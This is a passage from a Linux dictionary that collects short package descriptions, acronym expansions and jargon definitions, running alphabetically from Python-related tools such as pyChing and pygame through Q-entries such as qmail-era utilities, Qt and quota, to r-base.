A Python program to cast and interpret I Ching hexagrams pyChing is a program that allows you to 'consult' the I Ching. The I Ching is an ancient Chinese book of wisdom, which, apart from being read as a book, has also traditionally been consulted as an oracle. pyChing allows you to perform an I Ching 'reading' using the coin oracle, and then look up a brief interpretation from the I Ching. pyChing is completely written in Python, a cross platform, object oriented, programming language, using the Tkinter interface to the Tk GUI toolkit. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pycmail

mail sorter written in python mail sorter similar to procmail, written in python, using python syntax for mail delivery From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pydb

An enhanced Python command-line debugger Pydb is a command-line debugger for Python. It is based on the standard Python debugger pdb, but has a number of added features. Particularly, it is suitable for use with DDD, a graphical debugger front end. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pydf

colourised df(1)-clone pydf is all-singing, all-dancing, fully colourised df(1)-clone written in python. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pydict

an English/Chinese Dictionary written with python/gtk This is an English/Chinese Dictionary written by Daniel Gau with python/gtk. The word base was originally from xdict, and was converted and modified by Daniel Gau and bv1al. This program can be run in both console mode and X Window GUI mode. Author: Daniel Gau <plateau@pagic.net> Maintainer: Shang-Feng Yang <sfyang@users.sourceforge.net> Home Page: http://www.linux.org.tw/~plateau/linux_notes/http://sourceforge.net/projects/pydict/ From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyftpd

ftp daemon with advanced features multithreaded ftp daemon written in python, featuring advanced permission scheme, upload/download speed throttling, GUI configuration, internal database of users and more. Does not need to run as root. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyg

Python Mail <-> News Gateway Python Gateway Script from news to mail and vice versa. It is intended to be a full SMTP/NNTP rfc compliant gateway with whitelist manager. You will probably have to install a mail-transport-agent and/or news-transport-system package to manage SMTP/NNTP traffic. MTA is needed for mail2news service, since mail have to be processed on a box where pyg is installed. You can use a remote smtpserver for news2mail. News system is useful but

not needed, since you can send articles to a remote SMTP server (ie: moderated NG) where is installed pyg, otherwise you will need it. It refers to rfc 822 (mail) and 850 (news). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pygame

SDL bindings for games development in Python A multimedia development kit for Python. Pygame provides modules for you to access the video display, play sounds, track time, read the mouse and joystick, control the CD player, render true type fonts and more. It does this using mainly the cross-platform SDL library, a lightweight wrapper to OS-specific APIs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Pygmy

Pygmy Linux is small distribution of the Linux operating system, based on Slackware 7.1. PL use UMSDOS filesystem, it allows an user to install a fully functional operating system, that co-exists peacefully with DOS/Win9x on the same partition. PL is Internet ready, it supports connection via modem and network card. It is a console minilinux, so there are no X windows, Netscape or etc. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pygtk2

PyGTK is an extension module for python that gives you access to the GTK+ widget set. Just about anything you can write in C with GTK+ you can write in python with PyGTK (within reason), but with all the benefits of python. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pygtk2-libglade

This module contains a wrapper for the libglade library. Libglade allows a program to construct its user interface from an XML description, which allows the programmer to keep the UI and program logic separate. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyne

A Python-GTK powered GUI mail-/newsreader Pyne is a graphical (GTK+) offline news- and mailreader written in Python. Multiple POP3, SMTP, IMAP and NNTP boxes are supported. Features include threading of newsgroups, optional expiry of news and mail, filters, attachment support, etc. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyOpenSSL

High-level wrapper around a subset of the OpenSSL library, includes* SSL. Connection objects, wrapping the methods of Python's portable sockets* Callbacks written in Python* Extensive error-handling mechanism, mirroring OpenSSL's error codes... and much more ;) From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyrite-publisher

Convert html and text documents to palm DOC format Pyrite Publisher can convert a variety of input formats into several different variations on the palm doc format. This package requires python 2.1. This new version includes experimental support for a gui interface; see /usr/share/doc/pyrite-publisher/README.GUI for details. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pysol

X11 solitaire game written in Python PySol is an X11 solitaire game with a number of nice features, including hints, autoplay, unlimited undo, player statistics, demo mode, selectable card set and background graphics, and integrated help. It currently plays over one hundred different games and variants, and has a plug-in architecture which makes adding more easy. Install python-cardsets for a wide variety of cardsets. Install pysol-sound-server and pysol-sounds to get support for sound effects and background music. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pysol-cardsets

Additional card graphics for Pysol This package contains several additional sets of card graphics for the X11 solitaire game PySol. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pysol-sound-server

Sound server for PySol When installed along with the pysol-sounds package, allows PySol to play sounds and background music. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pysol-sounds

Sounds and background music for use with PySol When this package is installed along with pysol-sound-server, PySol can play sounds and background music. It is mostly useless without the server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Python

/pi:'thon/ In the words of its author, "the other scripting language" (other than Perl, that is). Python's design is notably clean, elegant, and well thought through; it tends to attract the sort of programmers who find Perl grubby and exiguous. Python's relationship with Perl is rather like the BSD community's relationship to Linux – it's the smaller party in a (usually friendly) rivalry, but the average quality of its developers is generally conceded to be rather higher than in the larger community it competes with. There's a Python resource page at <http://www.python.org>. See also Guido. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Python

a scripting language that is designed notably clean, elegant, and well thought through. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

python

An interactive object-oriented scripting language (default version) Python, the interpretive, interactive object oriented language, includes an extensive class library with lots of goodies for network programming, system administration, sounds and graphics. This package is a dependency package, which depends on Debian's default Python version (currently v2.1). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Python

An object-oriented p-code programming language. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

python

Python is an interpreted, interactive, object-oriented programming language often compared to Tcl, Perl, Scheme or Java. Python includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems (X11, Motif, Tk, Mac and MFC). Programmers can write new built-in modules for Python in C or C++. Python can be used as an extension language for applications that need a programmable interface. This package contains most of the standard Python modules, as well as modules for interfacing to the Tix widget set for Tk and RPM. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pytris

two-player networked console tetris clone two-player networked console based tetris clone, written in python, similar to xtet42. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

pyxf86config

Python wrappers for the XFree86 library libxf86config. It is used to read and write XFree86 configuration files. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PyXML

PyXML is a package of libraries to process XML with Python. The distribution contains a validating XML parser, an implementation of the SAX and DOM programming interfaces, and an interface to the Expat parser. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

PZDF

QAPP

Quality-Assurance Program Plan (QA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QAZ

In the year 2000, there was a wide outbreak of the QAZ virus/trojan. The trojan leaves allows remote control TCP port 7597. Rumor has it that a Microsoft engineer dislike the performance cost of running anti-virus and disabled it. The engineer then got infected with QAZ. Somebody trolling on the Internet found the open port, remotely controlled the machine, and used it to log back into Microsoft and was able to steal some source code. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QBASIC

Quick Beginner's All-purpose Symbolic Instruction Code (BASIC, DOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QBBS

Quick Bulletin Board System (BBS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QBE

Query By Example (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QBF

Query By Forms (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QBIC

Query By Image Content (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qbrew

homebrew recipe calculator QBrew is a homebrewer's recipe calculator. It provides facilities for creating beer recipies. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qcad

professional CAD System. QCad is a professional CAD System. With QCad you can easily construct and change drawings with ISO-texts and many other features and save them as DXF-files. These DXF-files are the interface to many CAD-systems such as AutoCADR and many others. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qcam

QuickCam image grabber Tools for grabbing single frames and videos from black and white Connectix QuickCam digital cameras. Includes X11 and svgalib versions. Note that nowadays there is support in the 2.2 kernels for this camera in the video4linux project, which is probably better than this. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QCB

Queue Control Block From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QCDP

Quality Color Dithering Modus From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QCIF

Quarter Common Interchange Format From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QD

Queueing Delay From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QDOS

Quick and Dirty Operating System (OS, PC, MS-DOS, predecessor) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qe

A PE2-like text full-screen color text editor qe is a PE2-like full-screen color text editor. It's called "qe" because the letter "Q" comes after "P", so hopefully QE will exceed PE2! Like PE2 on DOS, QE is a great editor for both English and Chinese (Big5 or GB) text. Features include: * Optional Big5/GB Chinese interface. * User-definable macros and keyboard settings. Author: Jiann-Ching Liu <center5@cc.ncu.edu.tw> Home Page: <http://www.cc.ncu.edu.tw/~center5/product/qe/> (Big5 Chinese) <http://members.xoom.com/linux4tw/qe/> (English) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QF

Query Filter (DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QFA

Quick File Access From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QFE

Quick Fix Engineering (MS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qgrid

Qt-based Maidenhead grid squares calculator Qgrid converts from Maidenhead grid squares to latitude/longitude, converts from latitude/longitude to Maidenhead grid squares, calculates the distance in miles or kilometers, calculates the bearing and shows a graphical representation of the bearing. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qhull-bin

Calculate convex hulls and related structures These executables use a practical convex hull algorithm that combines the two-dimensional Quickhull Algorithm with the general dimension Beneath-Beyond Algorithm. This algorithm is robust against floating point errors, often a problem for less sophisticated computational geometry algorithms. There are also programs that perform related computations, such as Delaunay triangulation. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QI

An acronym for Query Interface, The QI (generally based on the CCSO Nameserver) is a database system that can be accessed by ph client programs to retrieve and edit entries in the server. This is generally used for phonebook services, but can be used in any database application. Further information is available. From KADOWKEV
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QIC

Quarter Inch Committee (org., Streamer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QICSC

Quarter Inch Cartridge Standards Committee (QIC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QICW

Quarter Inch Cartridge Wide (QIC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QIS

Quality Information System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qiv

a quick image viewer for X Quick Image Viewer (qiv) is a very small and pretty fast GDK/Imlib image viewer. Features include zoom, maxpect, scale down, fullscreen, brightness/contrast/gamma correction, slideshow, flip, horizontal/vertical, rotate left/right, delete (move to .qiv-trash/), jump to image x, jump forward/backward x images, filename filter and you can use qiv to set your X11-Desktop background. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qiv

qiv is a fast image viewer for X based on gdk and imlib. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QL

Query Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QLD

Queuing Literature Database (DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QLI

Query Language Interpreter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QLLC

Qualified Logical Link Control [protocol] (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qm

Quality Management Tools Quality Management Tools, the former 'Software Carpentry Project'. QMTest is the first tool released as a result of the Software Carpentry project. (Hopefully) forthcoming tools are: – a platform investigation and project reconfiguration tool to supersede autoconf. – a dependency management and program reconstruction tool to supersede make. – an issue tracking system to supersede gnats and bugzilla. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qm-extclass

QM's ExtensionClass Python Module The ExtensionClass Python Module distributed with the Quality Management Tools. Improves integration between Python and C++ classes. This is a lightweight mechanism, named "ExtensionClass", developed for making Python extension types more class-like. Classes can be developed in an extension language, such as C or C++, and these classes can be treated like other python classes. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qmtest

A Testing Framework CodeSourcery's QMTest provides a cost-effective general purpose testing solution that allows an organization to implement a robust, easy-to-use testing program tailored to its needs. QMTest works with most varieties of UNIX, including GNU/Linux, and with Microsoft Windows. QMTest's extensible architecture allows it to handle a wide range of application domains: everything from compilers to graphical user interfaces to web-based applications. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QOS

Q

Quality Of Service (ATM, CLR, CTD, CDV), "QoS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QPA

Quality Program Analysis From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qpcr1k

Icom PCR-1000 GUI control icomlib is the ghetto.org PCR-1000 control suite. It consists of a library, command line programs, and a QT widget GUI application. This software controls an ICOM PCR-1000 receiver via a serial interface. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Qplus-P

Qplus-P is ETRI's embedded Linux solution for internet appliances such as PDA, Digital TV setopbox and webpad. Target Builder is an embedded Linux development toolkit tightly coupled with ETRI Qplus-P . It provides many features for developers to build embedded Linux systems. These features include configuration, dependency checking, conflict resolution, project management and deployment support to the target system. Using Target Builder, developers can make fully functional operating systems easily and quickly. Version 1.0 was released December 16, 2002. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qpopper

Enhanced Post Office Protocol server (POP3). This is The Qualcomm enhanced version of the Post Office Protocol Daemon (POP3 daemon), based on the latest BSD version. The Qualcomm popper has some extensions to the normal pop3 daemon, such as UIDL and bulletin support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qpopper-drac

Qpopper with DRAC Support Qpopper is The Qualcomm enhanced version of the Post Office Protocol Daemon (POP3 daemon), based on the latest BSD version. The Qualcomm popper has some extensions to the normal pop3 daemon, such as UIDL and bulletin support. DRAC means Dynamic Relay Authorization Control. Please read documents of the drac package for detail. This package included a version of qpopper with DRAC support. Please read the README.Debian of drac package to setup your MTA. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qps

Qt based process status monitor qps is an X11/Qt version of top or ps. qps is for Linux only, since there is no good standard way of getting process status information. It uses the /proc file system and need not to be run as root. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QPS

Quark Publishing System (DTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QPSK

Quadri Phase Shift Keying [modulation] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QPSX

Queue Packet and Synchronous circuit Exchange From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QSAM

Queued Sequential Access Method (SAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qsstv

Qt-based slow-scan TV and fax Qsstv is a program for receiving slow-scan television and fax. These are modes used by hamradio operators. Qsstv uses a soundcard to send and receive images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qstat

Command-line tool for querying quake (and other) servers Qstat provides a simple interface for querying servers for a number of games, including but not limited to quake, quakeworld, quake2, quake3arena, unreal tournament, kingpin and others. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Qt

A powerful, fast open source graphics library for the X Window System on UNIX/Linux, which is used by programmers to create buttons, menus, and other graphical objects. (Also, see Gtk/Gtk+ and KDE.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Qt

At about that time, a new GUI library was released. It was called Qt and was developed by Troll Tech. It was not free, but it was an outstanding technical accomplishment in that it worked efficiently and cleanly on many different platforms. It was shunned by some factions of the Free software community because it was written in C++, [Which is not considered to be the standard development language by the Free Software Foundation because it is not completely portable and possibly for other reasons.]and was only free for noncommercial applications to link with. Nevertheless, advocates of Qt went ahead and began producing the outstanding KDE desktop project—a set of higher-level development libraries, a window manager, and many core applications that together make up the KDE Desktop. The licensing issues with Qt have relaxed somewhat, and it is now available under both the GPL and a proprietary license. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qt

Qt is a GUI software toolkit which simplifies the task of writing and maintaining GUI (Graphical User Interface) applications for the X Window System. Qt is written in C++ and is fully object-oriented. This package contains the shared library needed to run qt applications, as well as the README files for qt. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qt-designer

Qt GUI Designer This package contains Qt Designer. Qt Designer is a tool that makes designing and implementing user interfaces a lot easier. With Qt Designer, you will learn how to create your own dialogs and how to arrange the user interface elements in the dialogs so that the dialogs look both nice and natural and can accommodate various environments, like different languages and user settings. This package does NOT contain KDE widget support From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qt3-tools

Qt GUI Designer and other Qt3 based tools This package contains Qt Designer, Qt Linguist, and other tools out of the Qt3 toolset. They are being provided in this package as to better allow testing of this beta release of Qt3. Once Qt3 is released this package will go away. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QTAM

Queued Terminal Access Method From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qtcups

Qt front-end for CUPS. This front-end is designed to behave like standard print front-ends like lpr or lp. It can be used to print a file "qtcups <filename>" and popup a nice configuration dialog. The Common UNIX Printing System (CUPS(tm)) is a printing system and general replacement for lpd. The terms "Common Unix Printing System" or "CUPS" are trademarks of Easy Software Products (www.easysw.com). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qterm

BBS client for X Window System written in Qt QTerm is a BBS client for X Window System. The goal is to make a client similar to STerm and CTerm in MS Windows. Home Page:

<http://qterm.gnuchina.org/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qttudo

A program for ERP (enterprise resource planning) and administrative accounting. The main qualities are: Stability and security: LINUX is a high stability and security operating system and therefore especially fit for the operational encouragement and QtTudo base. Open Source concept with consequently openness: This guarants you 100% independence. You have the possibility to view and edit all program parts without exception. Exchangeable database: The program uses only simple SQL-Syntax. You can change fast to the database of another manufacturer, therefore you are also independent. You choose the database, which is the best for your operational requirements. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quadra

multiplayer puzzle game This is Quadra, a full-featured multiplayer action puzzle game for the X Window System and Svcgalib. Features include: – Recursive block chaining – Blocks shadows – Teams playing – TCP/IP networking (free Internet playing! Supports SOCKS proxies) – Smooth block falling – Sound effects – Watches on other players – Chat window – CD-based music – And much more! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quake2

popular 3D first person shooter game (engine only) Quake II is a 3D action game engine in first-person perspective, commonly known as a First Person Shooter. This package contains no data files. You will need to either install the commercial data from the Quake II CD-ROM with the quake2-data package, or install some free data files. This game currently supports software rendering with X11, SDL, or SVGalib, or hardware accelerated rendering with OpenGL (directly or via SDL). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quanta

Quanta Plus is an HTML editor for the K Desktop Environment. This program is designed for quick Web development. Quanta is rapidly becoming a mature editor with a number of great features. The objective of Quanta is to produce a complete Web development environment for active development with a focus on supporting professional level development. This means full HTML 4.0 support including cascading style sheets and lots of time saving features. Support for Perl, Javascript, and PHP is currently being developed. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quanta

Web Development Environment for KDE Quanta Plus is a web development environment for HTML and associate languages. It is designed for quick web development and is rapidly becoming a mature editor with a number of great features. Quanta already has a good deal of PHP support in it including the ability to run a debugger. Quanta Plus is not in any way affiliated with any commercial versions of Quanta. The primary coders from the original team left the GPL'd version to produce a commercial product. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Quantian

The Quantian Scientific Computing Environment is a Knoppix / Debian variant tailored to numerical and quantitative analysis. Quantian is an extension of Knoppix from which it takes its base system of about 2.0 gigabytes of software, along with fully automatic hardware detection and configuration, then Quantian adds a set of programs of interest to applied or theoretical workers in quantitative or data-driven fields. Version 0.3 (now based on ClusterKnoppix) was released June 10, 2003. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

query

To request or search for information contained in a database. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

querybts

view outstanding bug reports on a debugs server From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

queso

Guess the operating system of a remote machine This program probes a remote machine with a certain sequence of TCP packets. By analysing the response packets it can determine the type of operating system that runs on the remote machine, the version of that OS and sometimes it can even give information about the configuration of that machine. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Queue

(Sometimes incorrectly spelled Que.) A list of tasks awaiting execution, as in the print queue. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

queue

A list of jobs awaiting execution. Queues in a Linux system are nearly always processed by daemons. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

queue

transparent load balancing system GNU Queue is a load-balancing system that lets users control their remote jobs in an intuitive, transparent and nearly seamless way. This is done with local shell job control and signaling and with Queue's innovative proxy daemon mechanism. Queue can be used as a local replacement for rsh to hosts within a homogeneous cluster under single administrative control. Queue also supports the more traditional email-based load-balancing and distributed batch-processing facilities using a number of criteria to decide where to send jobs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QUICC

QUad Integrated Communications Controller (Motorola) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quick-arrays

A library offering less flexible, but faster arrays. This library offers a replacement for the standard array-type in Lisp. It has less features then the standard type, but it's a little faster. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quicklist

A simple GTK app for making lists of things QuickList allows novice and experienced users to keep track of "things" without any help from a system administrator. "Things" can be anything, including (but certainly not limited to!) bug lists, phone lists, restaurants, team members, calendars, cool urls, checkbooks, fishing holes, CDs, bunjee jumping cool sites, etc. It is completely flexible. QuickList lists "things" in column format, much as they would appear in a spreadsheet. Quicklist can sort lists of "things," search from them and generate printable reports from them. The native (.qlf) file format is non-relational, non-SQL. Comma and tab delimited files can be imported and exported. In addition, html can be exported for publishing to the World Wide Web. If you liked the Appleworks or Microsoft Works databases, you will like QuickList. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quickplot

X-based data viewer A 2-D plotter that lets you "swim through" your data quickly, in X, "a zooming pager for data". It gives you a quick look at all your data, even when you don't have a clue of what your data looks like. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quickppp

PPP configuration tool QuickPPP is a simple utility that sets up a PPP connection to your ISP using pppd. It uses PAP/CHAP authentication, so it will work with pretty much any ISP that works in

Windows 9x Dial Up Networking. It has been tried with a few ISPs and has worked great. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quickrecord-applet

GNOME applet providing one-click recording quickrecord lives on your task bar, and when you click on it, begins recording audio to a wav file named by a user specified convention. It also features a pre-record buffer, so no audio is lost while you go to click the button to start recording. The purpose of quickrecord is to allow you to easily save things you like as soon as you hear them. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quickres-applet

GNOME QuickResolution Applet GNOME QuickRes Applet is a small program that sits on a GNOME panel, providing you with a list of all the valid X11 video modes defined in the XF86Config file for fast mode switching, just like that icon in Windoze 9X. More information can be found at the QuickRes-Applet web site <http://members.es.tripod.de/~bisente/gquickres/indexe.html> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quicktime4linux-utils

quicktime utilities This package has a few small utilities which come with the quicktime4linux library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Quinlan, Daniel

chairman of the Linux Standards Base. The LSB is an attempt to define compatibility standards for Linux distributions -- a project that many feel will be of crucial importance as Linux develops. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quinn-diff

Compares a Packages files and a Sources file This is a program to compare a Packages files and a Sources file to see which programs need (re)compiling for any given architecture. Quinn diff knows about architecture specific packages (e.g. lilo) and can easily exclude them via a Packages-arch-specific file. The output is a list of source packages complete with accurate section and version information, suitable for use in build daemons or just in a script to auto-snarf the necessary source. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quintuple-agent

Secure store for secrets (passphrases, etc.). quintuple-agent serves as a cache for secrets, so that you don't have to enter them over and over again. You enter a secret once, and quintuple-agent stores it for a configurable timespan. Programs needing the secret can query the agent for it instead of bothering you. Included are wrappers for PGP 2 and GnuPG. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quota

An implementation of the disk quota system. QUOTA is implemented using the BSD system call interface as the means of communication with the user level. This is based on the Melbourne quota system which uses both user and group quota files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quota

The quota package contains system administration tools for monitoring and limiting user and or group disk usage per filesystem. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quota

Value limits set to manage access to system and network resources or the amount of storage used by a particular user or group. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quotatool

tool to edit disk quotas from the command line Quotatool lets you edit disk quotas from the command line. This is very useful to edit disk quotas from scripts. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

quoting

Preventing special characters from being interpreted as special characters, often using quotation marks. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qvplay

Casio QV Camera Communications Tool Downloads/uploads and controls a Casio QV XX Digital Still Picture camera. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

qvwm

Windows95 like window manager for X Window System Qvwm is a Window95 like window manager for X Window System. The name is derived from 'q' standing for '9' (pronouncing '9' as [kju:] in Japanese) and 'v' standing for '5' in Roman numerals. All of the possible features of Windows95 and complete features as a window manager will be realized in the future. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QWERTY

Standard English-language keyboard arrangement; name represents the first six alphabetical keys on the top left corner of the keyboard. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QWK

A format for offline mail and news reader packets, originally made popular on MS-DOS but available as a Unix command. From KADOWKEV

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

QXGA

??? Graphics Array [2048 x 1536] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

R

r-base

GNU R statistical computing language and environment R is `GNU S' – A language and environment for statistical computing and graphics. R is similar to the award-winning S system, which was developed at Bell Laboratories by John Chambers et al. It provides a wide variety of statistical and graphical techniques (linear and nonlinear modelling, statistical tests, time series analysis, classification, clustering, ...). R is designed as a true computer language with control-flow constructions for iteration and alternation, and it allows users to add additional functionality by defining new functions. For computationally intensive tasks, C, C++ and Fortran code can be linked and called at run time. S is the statistician's Matlab and R is to S what Octave is to Matlab. This packages is a meta-package which eases the transition from the pre-1.5.0 package setup with its larger r-base package. Once installed, it can be safely removed and apt-get will automatically upgrade its components during future upgrades. Providing this packages gives a way to users to then only install r-base-core (but not, say, r-base-latex) if they so desire. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

r-gnome

